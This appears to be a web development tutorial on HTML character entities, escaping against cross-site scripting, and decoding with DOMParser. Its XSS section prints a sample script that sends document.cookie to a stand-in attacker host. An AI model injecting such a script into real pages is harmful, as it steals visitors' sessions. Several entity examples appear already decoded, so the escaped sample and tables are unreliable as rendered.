How to Decode HTML Entities and Special Characters: Safe Web Rendering Guide
Why do quotes turn into " and ampersands become &? Learn how HTML character entities work, why escaping prevents XSS attacks, and how to decode text.
Introduction#
If you have ever scraped web data, rendered user-submitted comments, or inspected raw database exports, you have undoubtedly encountered odd strings like:
Tom & Jerry "Best of 2026" © Warner Bros.These strings are HTML Entities (also known as character entity references).
In HTML, certain characters have reserved syntactic meanings. The less-than sign (<) initiates an HTML tag, and the greater-than sign (>) terminates it. If a web browser encounters those characters in raw user text, it tries to parse them as markup.
In this guide, you will learn how HTML entities function, why escaping special characters is your primary defense against Cross-Site Scripting (XSS) vulnerabilities, and how to decode entities safely.
Table of Contents
What Is an HTML Entity?#
An HTML entity is a standardized text snippet that begins with an ampersand (&) and concludes with a semicolon (;). It instructs the browser’s HTML parser to display a specific reserved or invisible character on screen rather than interpreting it as code.
For example, writing < instructs the browser: "Render a literal visual '<' symbol; do not open a new HTML element."
Named Entities vs Numeric (Decimal / Hex) Entities#
HTML entities can be written in three distinct notations:
© for the copyright symbol ©).©).#x in base-16 (e.g., ©).All three formats render identically in modern web browsers.
The 5 Critical Reserved HTML Characters#
| Character | Literal Meaning | Named Entity | Decimal Entity | Security Implication |
|---|---|---|---|---|
< | Less than | < | < | Opens an HTML tag |
> | Greater than | > | > | Closes an HTML tag |
& | Ampersand | & | & | Initiates an entity reference |
" | Double quotation | " | " | Delimits HTML attribute values |
' | Single quotation | ' | ' | Delimits HTML attribute values |
Essential HTML Entity Reference Table#
| Symbol | Description | Named Entity | Decimal Entity |
|---|---|---|---|
| © | Copyright | © | © |
| ® | Registered Trademark | ® | ® |
| ™ | Trademark | ™ | ™ |
| € | Euro Currency | € | € |
| £ | British Pound | £ | £ |
| ¥ | Japanese Yen | ¥ | ¥ |
| • | Bullet Point | • | • |
| — | Em Dash | — | — |
| | Non-Breaking Space | |   |
How Escaping Prevents Cross-Site Scripting (XSS)#
Cross-Site Scripting (XSS) occurs when malicious users inject executable JavaScript code into an application's database (for instance, via a blog comment form):
<!-- Unescaped Input: Executes Malicious Script in Visitor's Browser -->
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>If your server converts reserved characters into HTML entities before rendering:
<!-- Escaped Input: Browser Safely Displays Harmless Text -->
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>The browser renders the text literally on screen; zero script execution occurs!
How to Safely Decode HTML Entities in JavaScript#
To decode encoded HTML entities in modern client-side JavaScript without triggering XSS vulnerabilities through dangerous methods like innerHTML, use the browser’s built-in DOMParser:
function decodeHtmlEntities(encodedString) {
const parser = new DOMParser();
const doc = parser.parseFromString(encodedString, "text/html");
return doc.documentElement.textContent;
}
// Example usage:
decodeHtmlEntities("Tom & Jerry "Best of 2026"");
// Returns: 'Tom & Jerry "Best of 2026"'Recommended In-Browser Utilities#
Encode and decode markup safely with our free web utilities:
Frequently Asked Questions#
What is and when should it be used?#
stands for Non-Breaking Space. It prevents an automatic line break between two words that should stay together (e.g., between 100 and km/h, or inside monetary figures like $10 million).
Does modern UTF-8 eliminate the need for HTML entities?#
For foreign language characters (like accents and emojis), UTF-8 makes entities optional. However, for the 5 reserved syntax characters (< > & " '), HTML entities remain mandatory to prevent parsing errors and XSS attacks.
Summary#
HTML entities are a fundamental layer of web safety and typographic fidelity. By escaping reserved symbols during output rendering and decoding them via safe DOMParser APIs, you protect your users against XSS attacks while maintaining accurate textual presentation.
Related Reading
JSON vs XML vs YAML: Differences, Syntax Comparisons, and Modern Use Cases
Which data serialization format should you use? We compare JSON, XML, and YAML across readability, parser speed, schema validation, and real-world API architecture.
Developer Tools & ProgrammingWhat Is Base64 Encoding and How Does It Work? Complete Visual Guide
Ever wondered what Base64 strings really are? Learn how 8-bit binary data is transformed into 6-bit ASCII characters for safe email and web transmission.

